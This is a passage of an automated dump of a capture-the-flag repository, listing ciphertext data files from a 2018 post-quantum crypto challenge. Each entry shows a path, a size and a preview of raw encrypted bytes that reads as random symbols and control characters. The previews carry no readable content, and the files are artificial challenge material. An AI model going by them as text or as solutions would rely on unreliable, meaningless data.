    "preview": "[&%2GġfnX&t(j@R\u000f\u001aDMa.\u0014Cm\u0015\\\nlF|(c\u000e\u000fjxu%4V.\u001baN\u001bC\"7-*.ms\u000b\u001c٨$艼ƘN\u000elKG\u00161\u0016]'Cn1\u001d+'\u001dB\b)\u0015p\u001a\u001eto@\n\u0019od;.tͱLy]I6yg#wh~|N\u0006&\u000emOĘ@>;|ݡnw"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1265",
    "chars": 158,
    "preview": "W,\r$\u000754P\\\u001d\u0002[t(~YLRt\n.QenVsM\nRDB\u0004x2e!:[\u0013\u000e9\u0015PF~׽c\u001d?ڨB0Z+ \u001a\u0001ߓ6\u00107Χ\u0015Gg_Г^\fPc>\u001f3#hJ߲\u000ei:YU$\u0003il{7\u0012ď'#\nl\\\u0010K7|&IO!Ph]ω!86&\u001b1mlcy."
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1276",
    "chars": 157,
    "preview": "`ulhZ\u0014Q=H:S\\RzD\u001e!ADwҚƘK^^\u000bPt@\u0011>aފ\u0007>F#\\\tFԯsJ0\u000blldn<\r\f\"\nc.NsmD\u0011,\u0017q+kV\u0017k:\u00178,1W'DN[멱<r@:z\u00158s\\YF\u0015S\u001a%T=\tG=p\"\u00065:W\b\u0012c\"V\u001f{|uAky9"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1286",
    "chars": 152,
    "preview": "\u0004Dmw1|_\u001aХ\u0013X':\b%\b\u0006!=Ke\u0016ZbcjbAj;\u0018|nC!\b\u001e\u0018nq+/\u001b.u\u0017\u000bB\u0001\u0012:T4q@n}~oc\r9&l\fRBż*\u0002זx?\"ՖX,?\rg\u0003I\f/?H\u00035?@Q\u0019^%+\u0005g&ˎh&o\u001aQ(;>?tm{{Xxcb56bQ"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1287",
    "chars": 144,
    "preview": "2^\u0018\u0003R<Dӏ6TK\u001dkNyRqM?i1zG,\u0019\u0006);\u0016\u0007+\r-\u0013)\u0015F$L3\u0016\u0016Xjl\u001c}Gdo\u0006\u0002]$;1{%\u0016{0Tn\rKTĨ\u0001X6 ci11\u0017kL&%(\u0010\npF{`\u001fK\rGtuzYi=:Ed\u0006wq\u0011vsU\u0006s\u001bP\u0004FZu\r$Z=\\"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1292",
    "chars": 152,
    "preview": "q\u0013ħݾ@\te@&\f91\u0001n\u00101e \"\u001f\f\u0016 OAEzu\u001bs3U\u00040}flz\u001eŝ\r|{PBfKH%\u0010T\u001a\u0002aS\u0010\b#IDjn9V8e!+\n\u001bʯ1\u0019DS\u001bZ5p^\u0017ueJU4͛1<ь(86gt勺\u0011ٔA\u0012|N\u000bZ\u0018\u0007@Tai%\u0013\u0014#\u0005\u000ftH"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1293",
    "chars": 161,
    "preview": "Ux[X6sDz8G,\b%(;L+=mg\u00022 0t\u000e+^`=%\r$)\u0006\u0010\u0010|-*\u000f\u0017AcbٹԸf{\u0004rL(M̺_\u001e\u0018!}LZUbK.\u0004[o7q-w߿Ɉ\u0002i7߃[+q펓Wż=z5t\f\u001d{}+\u0017\u0012GmV^K\u0010YYPzk\u0004XB#$́?K\u00127\u001cO\u001f"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_130",
    "chars": 150,
    "preview": "/]5\u0003;Ge#~KSV\u00120CDj4\\-$3kp) ѫG0wY\t}\u0013uȹ\u000b_eNKU\u0004\u00190%<-a\u0013 yJн)YSL ~J#WU7\u0006B@9\nx45f/\u0005f\u001fl$\u0002\u001f\u001a\u001eH\u001dR\u001er=5a\u001e!V-;)@O(GeU\u0010BDBz12\u001ckbw\u0013`r(g"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1301",
    "chars": 143,
    "preview": "+yW:r\fe&\u0012'\u001e$\u001f\bgRN\t\u0013٠\b\u000fu\u0010ur\u0013y#\u0014\u001fh lb\\9׌\u001bZ\u0018%4?\u0002u\u001a\u0001Ɋ;\u0016?k\u0002BDF5oN6\u0004\u001dPz\u001eeSQ)JP5\u0012)n>\u0001M\u0004C:jf+T\u000b\u0007n+6\u001ep6ϔȿT|Xn]w삺}3l,EħG\nea-L׷-@ʯ"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1317",
    "chars": 158,
    "preview": "_.7-t\f\"Fٴ'a\ba_\u0001x\u000f\u0001.ž\bWgZT|&X5HA'CkV9ƾ<xz\u0016$JeP=3\u001aAI\u0003\u0018]\u0014{m4A?坓\u0003@\u0010zMd=q]{\u001b\u0002 Y\u0019-Z䦹\u0010)p̢1X,49兩\u0012/1v\u0011ژ\u001bc)\u0012\f8V\u001eu\u000fnQVveӤ5V\u0005\u001c҅⳰\u00057\u001d&"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1319",
    "chars": 153,
    "preview": "`\u0016*;C\u0017s(q娽\u0010QY#9y\u0014^m\u0001\r\u0012jEf2\u0017\\OhTvmۻ\u001et\u00192\u001a8e\u0016O\u0010A.\u0012R\u001c^\u001fԕť'n_KJq詝mSq\u000e!(wb(93$\u001bRC=\u0001R4dύ7y8+\u001bn+VՋ\u0017g}68Z\u0001j\tNIl0nIzB73M\u0005(9>L:z7"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1326",
    "chars": 160,
    "preview": " n}i5MG_/gٮU\r?\bXQ&\n33\u0003Fia\u001e-\u0018\u001d\u0006Vi7\u0011|\t\u0005F\u0019b\rV\u0019\u001e\t\u0015G;D\"sе`.e@B,8+V\u00127qJS<\u000e;\u0011EP\u0012xx\fc7D@`C\u001fFB 9\u000e:\u0002yx2\u000f=5:,6\u001fh-\f߾Awqs\fx7s</6}\\\u0013"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1329",
    "chars": 170,
    "preview": "q.x9cN0|ˤ\u0018\u001d‡<xS<]\rY\u0016Hif_\nn\bq\u000eƬa\u0002p̫D%\u0010N[]ϼ|\u001cjW\u0001۝c\tRY\u00194z\u0014D8\u0003\u001b=h+h\u0017g|f7U_98ߒ˶\u0013\u001b\u0002\u0002ՁM8_[Nv|5\u0011\u0016x\r|F?~6\u0018HSnv\n\u001aD\u000e]\t;ij\u000b\b?i(\u001dR6/}"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1330",
    "chars": 180,
    "preview": "5;ߕ(\\\u001c\u0005\f\u0012dXgCҩm\u0004!B\u0013{ Nv]`\u0011v8>;e#^T\u0017\u001cG \n\u0004\u0015\u0014\u001dS2Q̕p\u0014D,īR̺J3\\̟eٓmtUq\u0014{\t\\E%z\u001ab\b#;\bsҧ\\(E_y9\u0012%C?@s\u00025]:G(i\u0005A*\u001b\u0012D<\b\"ox@iC#w5kk0"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1334",
    "chars": 170,
    "preview": "T\u0018ISx\u0007!*K[P{p\u00173*\u001aX/Op\u0007/,lj\u0014n\u001b%<\u000b\u000eְw.\u0001qs\u0017ƃu_\u000f\u0007#h\b8-XzeOٳaέ\u001cd!qYM9u\tk_a7gSr\f\n-*/R\u00032:(\u001a4^\u0018\u0013=o|V\u0001\t\u0002yC,'Lp=\u001e^G\u0003+J2U\u0004eBvR6ߞe|\u001a"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1337",
    "chars": 166,
    "preview": "?፰.\u0007\u0010=o\u0012g\f\u0019/)3Q+\u0005\u001a^F\u0003)\u0002\fJR0Ӂ0V\u001d7\u0001\u001ezO\u000fg'y1~W\u0010ǹZ8A\u0010͖ʆ\u0006JSh;L )_E೫\u001c\u0012\\Y~ڀM\n'\u001aq#!\u0002 gidEy#zmY1`RYs\u000e6{0\u001cG{B\u0018M&\u0005e9ɑfBMĥcnHKB@y\u001c\u0019"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1338",
    "chars": 174,
    "preview": "6=\"8\u0010qRwcAY\u0006޾_3IBC<0o\u0003B\u0016L(1t\u0001z\u001d4Ow[ؕrwZ#\u00019T\\G\u0018Y-0<17G>?\u001e6\u000f/a@<\u0001H&]<-Ĝ\u000b(\u0010\u0017\u000b_;\u0006G/~\"ۧj&įF\u000b䅷\u0011*OX->:.\u0002RSϮ\u0007\"\u001cؖ%L\nʰ\t\u000eSs_\u0013hz\u0002"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_134",
    "chars": 140,
    "preview": "b\f;U<\u0015P!\u001b\u001a&?İ\u0006ow\\\u0010̳3]4R\u0011\u0003tÃQC!2Ԉ\fvÛr\u001fl\u001dȽ-Ĺ%ܓy\b\u0018hّ~8\n\u0005\u001f\tb(⋯\u0014|*ϴu#ւzãӌ߁=\u0016IxZƨ2*\u001e\u0015\b\\[\nH\u0005\u0011\u0003\u000fkIH\u001c\u001ab;\u0005n\u0019PY\u0001\u0010$,J-@݂3\u0002\f\u001aS\u0001]< u"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1343",
    "chars": 136,
    "preview": "\fل\u0005ǼI\u0018z\u001fܓK\u000e\\Jkՙnv\n\"\u001bPU<\u000f\"CM\u0001ɠ#R\u0016{͡\rO(\\\u0013\u0013\tqĜBqYbn‰֣/\u0013cjyR\f$0[١\u0013ϙ*\f,K\u001d1pn4ex z[\u0019sHV8e\u0014~Ɡ諸/}\u0013\u0016h_\u0015w!6\u000f1\u0015\u0011\n\u0018#c3§\u00079ޫgN9z\u0006w:`@"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1347",
    "chars": 158,
    "preview": "]Q)m\r\u00139\u00166`լ\u0014MF;`Qf\u0018M\u0007z\u0011\u0012~\u0013|nD\"R\u001a3\u000f\u001a1\u0013_:xX䙠I\u0011d;\u0010{S\u0001\u000b+ K\u0010!}T\u001f{z2D5\baGGZI\u001bœNdMiȁ<ܷ5#$*&p\u001cL.̒EZiCP:_\u0006ieen\u0002\t\n1GBu\u0013h;K\u001aO[fߧ|\\\u0004"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1350",
    "chars": 156,
    "preview": "c!?(d\u0016H\u0014\u000ep\u0001FvVZǦJ\tCF?s#^W̃k>\u0007.??i\u0003_V;/8gG`v+tNtvF|7NYn\b՗jmxհ\u001aK\u0001q0C\"\u0003lw1{a\nWCЋ 4!5\u0011|%ez_W\u001a$RP\u0014s\\3j1\u001b\u0015&%Cv\u0006i%>D\"\\\u001bp\u000bt:y\u000e"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1351",
    "chars": 162,
    "preview": "\u00155%4\u0003!\u001a^6\u0001#ۙ:=-9M|~N\nZ2_Fn\u001av\u000f\u0003\u000e\t\tSut3i\u000f?AJ\r5Y\u0016\u0018KrE\u0019zOgD5eu\u000fL&15\f̞a̗6.Qf\u0013Hv\u0004W\fP4\nb#QY޲b}߅C\u001dJ=ӹ\u0003^'\u0012\u001a3D:\rgHMKZX+\u000b\u00014\u0019i\u0015g?ڬv"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1355",
    "chars": 155,
    "preview": "ns$DNp\u0013R{q\r^''S\u001e8>`ʹ\f t<Ao\u0004F4%x3MܬsŃi8\bRPFƠ#7T+ |KVˇqL([\u0007N3\u001dy]|Guc&_'\"vVV̬թA^)x&\\]0,CcKawoEP|I/\tئ3*\u0010BD/L=\u000eE^(N\u0017[\t\bミ\u0012\u0011\u0019[="
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1357",
    "chars": 154,
    "preview": "\u0007ryAŝBÞ\u001da}_ka&7\u001d[sH^\u0017^*-g½!ls7y,qPm%ĭ{F\u0011&g\u0015&W{\u0014\ncs,vZ\u0007I&Bע5\u0019k\rr)8YaJ\\=P;O\u000bCK\u00177AO\u0010{EbY̓c!qzFT%\u0006%jWFtmf\u0014ChƘm\u0003uҚCOXڀ*ʟ{׏5aQ"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1358",
    "chars": 155,
    "preview": "\n \u00139\u0011UK!ۗ:KXY BՖU\u0017tFmeb}A/ǥ!\u0002\nҠNs֖S,\\@Dn{!N}4$->\bUoN(e3迗>!\fI.0f\u0015up2\u0007BOh\u0001w\nŃZ=Iq+x-lϜN\u0001e\u0004a\u0006rx@%V\u0011(=_\u0004d\u001a#/J`Rb\u001eקĮ2\u0002`?5\u000e'X\u0007"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1363",
    "chars": 155,
    "preview": "\",\u000bߵLST씫Nbf\u001a&\u0011;\fr~7\u0002Bt|ym%C\u0012`LH/؁\u0010eTn\u0011JG\u0013Fs3l݀\u0006DhR\u0019݂\u0004x~\u001f*\u0016^\u0013-\b\f;|\u0019i\u000f40$\u0007 5;\u001bl#\u0003r4e\u000bRw^gy{\u001b\u0019dB3F0QsaGP\n\u00161NsN<7\u0019}!\u0015\u0005tZtr\u0018"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1369",
    "chars": 157,
    "preview": "\u0018GD,#\u0004\u001e;@\u001b25E+\u001dm\u0003`\u0014+;C\u0013`L\u001d\u001cힳ*\u001bs>Q[=I}M^4A;B$na8\b/2;3Q0\u0016\u0002\u0004\"l\u0013mD\u0015Calx\u001265K\u0017HyD\u0014\u001c<4Io`\u0010m1ɇ7N-<\u0001\u0006j\nl{t\u001a\"f%_v.lZ{0hd\u0005B\u0005jy]\u0013\u0006V"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1372",
    "chars": 169,
    "preview": "1-\u0002;R02ao\f#\rm)Q Co/\u0006\u0007O\nd\"DSɩ#9a\u001f\u000bP\u001a?r^P\u0018[\u001cv~%b%[˲a@\u001aw˞u:[?\u0002g\u0019ZP.\u0005\u001aL92\u0005%ͻWE\u001cǙ[we'~⏽F\u0003\u0011\u001f>\u0002&\u000bjoD\u001bx/Y6\u001bo5zf\u0011ʬi\nEKQ\rZ/'94`v\u0007"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1376",
    "chars": 144,
    "preview": ";8'\ra\t\t~M(n\u0015.@XG\b4,ϕ{\t\u000e1/su2\u001fyT]d\u001chk\u000e9t)V<\u0002\u0016Gd\u0014{.qǟ%4\u001ep6[\u001aE9@=/_M\u0019\u000eܵ\u001ev=\u0001rWP+{gqBEa\u0003(\u0003&\u0001SR\u000flo0]\rGGWW3\f BG\u000bWN\u001d\u001b-?Hc\u0005`\tx3u8"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1381",
    "chars": 158,
    "preview": "M~0V\u0001q~Z/DbQ+:\u0013hiSTԖ9Wg\u0012#\u0007\u0010\u0016l\u0003\u0004*smD\u001a\u00050\u0011_VD{\"I\u0010,̢|$J޶AlA\u0017؛\u0010֨\u000fe\u0012\rn\fo[BseH5|ک౎b>2{\u001a)3T$唔$+\u001eEc\nY3XwYq0]\u0003\u001b[VG\f\t\u0004-Fm^2\u001b#\u0018m75w"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1383",
    "chars": 159,
    "preview": "$\u0011Uծ.%<);z8\u0019.G\u0014k\u0016\u0006{\\{yG\u0003\u001c\u001dJ\t\u000bu\nO\u00119lt\tnL\u0007\"pOÎ\u0013w-}\u0003$E\u0019IAӮ\u001d%5\u0005\nJ==3^W\u0014&=_`d\u000b,`u\u0004ɫՉ|ky+6\u0002hlvp\u001b\u0003o>\\UCߥd*uÛ!\n՟9BͼjAukZb\f\u000b\th"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1389",
    "chars": 167,
    "preview": "\u0007=\u0015\u0001^(\\<GA\u001f\u0011%\nGS}Xȱ\u0013^\u001chTY\rAfp.4zb\u001d\\5+hh-m)\u0010LG\u000eU^(PH?\u0015mgC^zKJ\\\b\"\u0017m|6^\u0005uAbܝF\b\u001b2!v3\u001b\u0001$˚Tx6j\u0004\u000b1ƅ\u0004\u0018g`e)>\"\u001f\no4\bZ=yD\t!f\u001duvN\u0011Ud"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_139",
    "chars": 177,
    "preview": "_/\f*\u001a\u0013nOf\n\u001fFa+/S\f5z\u0014$4wy9fGw\u0004/S\u000e\u001arjoQKPE4|P|ç\tnQ\u0011Y[\u0005\tOe\u0019\u00058d&ym~f\u001a*-N\u001c\u0016w\u0002f{;qi/'S\u000e\\تs~\fCsb[`WbwBTz$E(aDf[\u001aZA\u0006\f8L-y%qlU\u0001#"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1390",
    "chars": 152,
    "preview": "=\u001cu\u0014{w\u001dŁ\u001f~D8fB8E/3E\bd\u0010\u0001P-YAjnDwTWdMpp\u0010(›)Mh3ꌺx\u00052X\"0<\u000f5\u0002\u0013+\u0011;k\u0019ܿ秺^xi\u0018?luFZu3~\u001b$vUdU=K:R679'f/^#w\u0014\u0004P0\\\u0002At\u001b=\u0001Яd`)\u001c\"0X\u001avXu<v"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1394",
    "chars": 150,
    "preview": "r\u0003,PgRyE\u0018IL\u001be]v\u0017\"Q\t؜\u001a%mT\u0017?jz\u0015cWH@J~򂺻׿\u0015q<\":iu\u0012jJ-~V(<\u0006O\u0005Ń2e߮K@\"cV=$9flA@O\u0010)խa\"ȻL)\u0014JT\u0010Jy\u0002h\u0018!:\u0001WG\u001a\u0007\t?\f$@RPX?\u001a\u0011l\rflV1wni{:oF"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1395",
    "chars": 151,
    "preview": "W01\u000b\t?Μ'd\u0013{\u0012d{J\u0019b^§P6κ\u0017.\"hV\u0002\u0013ed\b+z8F;\u001f\n\rSk\u00154kh\u0018I3[\u000f\u001du\f'I4s\f:6-\u0004Nd))锯Y4dT\u0012\u001dI\u001e3^M.\u0013n6W-EB!u2\fqzq\ne|׳`dS\u0011@\u0001%^\u001d0arD:2PY^#\u000et"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1398",
    "chars": 179,
    "preview": "<f}4K\u000bٖQ@5_zkDս\u000f2\u0011i8ѢzI`\u000bM\u00046G47*pp\u0001rʹU&TDѷ#ςK8#\u001e!0*x`WH*+\f\"f\ttM?΃\u0007U\u0015c|\u0017}\u001bT.EDF,Hn\u0003Ne\u001c\bN\r5PcZMeοNA7\u0003\u001c7eI,Xu`.3\u0004\"d<YʙN\nQ\u0012"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1399",
    "chars": 159,
    "preview": "BZ\u00187wmj\"av(~r;Ϩ\u0019f\u001bjR[{|.\u0010xGIJ\u0006@yn5hyZAӄBήV|p=Ҫ\u0013\u0002\u000f\u000fb\u0004|\u001dK.FHo3*Nd\u000b$OeGjwfB;:\rvWČ \u0002c\u0017=63STOprsj`kB6@+F\u000f)\u0018S\\\n&xJh\u0010\u0010&|뙛Uk1e-eT"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_140",
    "chars": 167,
    "preview": "G>\u0012s:ENzAl623L;~VPX]K6n~\u0002kMDoJ9MkĤ\u001bޑO$i\u001e_1GuBlΚ(z\"\u0014(yzO\u0011/(aȟ|\u001e\u0012~ڶ_\u0001~F&V\u0012iQgS\r溠GkdG@\u0006\f\u0012auM\u0011A\":qT\u001fKX}\u0002h\u000f@X\"I:DTLGL0Nx!1"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1400",
    "chars": 151,
    "preview": "\u001cH\u001b,h< ɤI!T>5Jxc\u0003U˫\u001eY5_)3\u001e\u001a2sJ;ކJ~\u00130r0&\tf\u0013 \u0012!>+Uo\u0012 \u001a YrS1\u0007i\to[Ȏj(\u0014jc6?F\u0017tz\tfZ@@ \u0011ش\u0006t(\u0019nF05\u001b\u0005[4 \u0012\u0003\bzc\r\u0005Gh#F%:nFl08b\u001cQ@\u0006RË"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1405",
    "chars": 155,
    "preview": "Μ\u001c-=\r(\u000e\b'iثl@͍wk\u001c6\u0001\u0013\u0011M\u001fISD^=3\u0006V.#\f@;2L|Ǩz\nA|bX\u001a&=,\u0012ܰ*\b'\r8P<0v0\u001d;5[O\u0010s,JJM1(/\u0017~\tq.\u0001i#u/\\+\t#\u0002\u001c\u0013CyP˃.hV\n\u0010\u001eՍ1\u001ej\u0004yS!O\r#\u000bR4"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1407",
    "chars": 154,
    "preview": "n¥˝,\u0011%ƊLGѓdɋ@\u0011x\u00111'C@\nk%:\u0016\u0001$Y^#4PcYWj\fY;њ\t]/\u0018Z[=V!\u0019k%vO\ru\u001c5S7\u001eV\" s\t~ٳ; >ߟg\"-+\u0018\u0003\u0016\u0002\u0016f\u0007\u0015\"\u0016xc>E1\u001ffJ>}c]*-4X7V_L1[|}ŒY\u0006dCxw02"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1408",
    "chars": 164,
    "preview": "M*䤈\u001c\u0006߃D\u0006}2uˮ}G\u0011A\u001b\u001a\u0001T\rjEXT9\u00017\brt\u0005r+TSTc41P,4Ҭ\u0001ҕk`\u001aO˱qo\u0015[-Y|X\u000f\fN\u000f\u001dLQ \u001b\u001f\u0017\u0017DkƳB#5)p\u000e\u001cI2('څY=\u0013\u0019iT\r\u0004r2\u001d\r$\n 8a͒<j\bt\u0001\u0017\u0005>\u001b%-*"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1409",
    "chars": 163,
    "preview": "gN}Taga\"/)첼\u0015\u0001T[1N*P\b%=pz\u0015\u0004ed9A̭\u0016^js\bhe3n\u001ez8N&$\u0001\u001a_\u001b_2/\u0003#圓I\u001fԮ,6\f_\ndzHMw\u0013+0\u0007h:Q\u0004T\u00100_gQ\b)h4v\u001b#Asc{Đ(\u0019\"޾N\u0006Q0+@T3'PHxPZ]F\nXD]8"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_141",
    "chars": 164,
    "preview": "(h߼<VOv*P\n'\u000f\u0015\u00070\n)tQx85\u001eVlyHKDHA\u0005x_d\u0002Kk\tߊ,\u0010iQ#y\u001a Rܦx\u0016b3\bȫq\u00129G^%eQti#\u0013e]Mf\u0014LhC\u0012]m\rF\u001eSc\u0006%=5\u000bp\u000fjSOhM\u0017k\u0001\u0015$O\b\u0007\u0016E&\u0004|1\"ûv~\u000f{\u0014X9"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1414",
    "chars": 157,
    "preview": "\u0016D\u0003\u0007c泷.r=#<X\u0007&6\u00174\f*T+\u001b?o:S\u0002?\u0017SBLZ\u001duT>\u001c\u0019~.ɮfJ:Y%Sz\u0018$\u0015M$QҜ^>ZGrXb5ef\u0012[&yucI\u0010]]Xzݮ\u000e3󫲌9Y-S \u000f0c{]q%\u0019\u000f[Hx'l\"\u001d\bg\tPl*n<+xX7\u0019;iH1"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1415",
    "chars": 176,
    "preview": "1J0H%jk30mjjGR8c8OM\u0001(B\u0006`c*En;hpCĮ2\"2q\u000bgy\u0001Aϐ\u0012\u00196,+jeByhr}k\u001b[R+C=ؗjxC[pq\u0014V\u000e<?b{`qAW!\b\u000bJ\"<\u0016$\"b{L0Tr\u0017׈Ax\u001fϬjqi\u0015\b!\u0006A!6\r\u001d(nۊ}^5"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1417",
    "chars": 158,
    "preview": "Vv\bP\u0013ЪF!AZԒ/2=yHԽ>K\u000eɁ\u0015\u0006\u0013Zk!s\u0005R/\u0002!x(\u000f\u0014oD<%\u001dX[d[\u0002A\u001btF\u0004w\nqq4ytE?\u0004s\bdp\u000282[gr\u0017ݼZO=gwB2\u0017[{!\u0007k}\u0010y\u0019\u0019\u0005\nI\u0002<*\u0016R\\qn\u001e\tv\u0014}۸AT\u001b\u001f\\5K^ڒR֣"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1424",
    "chars": 157,
    "preview": "y?uŎ\u001dli!εn\\օ\f8,\u0014+wM0)\tV4hamŕ'O\u001c\u0012PC*kbd?^kpJ\b!er:xυ̒E!{lw\f\u0011\u001f:G|¥]\u001db\u001bD6ADʩ\teTJ[W¡@5!*d9\u000e},^q xY\u0010c_*_\u0014:+ \tQԌP\u001d\u0015k\u001d\u0004l/\u0005륎,VAy"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1428",
    "chars": 163,
    "preview": "5X\"FG\rI,`@}Q\u0005\"\u000e{~|;\u0011\u0002\u0016r}{i%ghXc\t\u000f\u001b=f\u000bM!1;\u000bm\u0015&l%͚\u0007f73U<\u0013˲^oB\u0010[\u0003Na\u00183Q\u0010'\u0018\u000fxwdjE\u001ajQ׋v\u0012\u0015RR)vYsu\u000bxxH1XL\u000ea.)\"&&\u0002\u000b\u000f,\rT $`d\u000fy\u000bZj"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1429",
    "chars": 141,
    "preview": " n\u001b\ny`ܰ_k^\u00066Qd${VvW \u0017\u001au\u0018tWq\r$fjc\u001d\u001c3y:Ipό\u0014\fSC\rI廘Gѱ8Qd-1\u001dj\f s\u0016b\u000b><\u000f)lJR>Qy\u0018鱷\u0001\u0014똫~|t<}`Fk\rB1ג<K_-^\u001fd!S4*`\u000f\u0018#\u0007N\u000e?vak\u0006sR+?12L"
  }
]

// ... and 3232 more files (download for full content)

About this extraction

This page contains the full source code of the 0ops/ctfs GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 3432 files (75.1 MB), approximately 1.5M tokens, and a symbol index with 1094 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!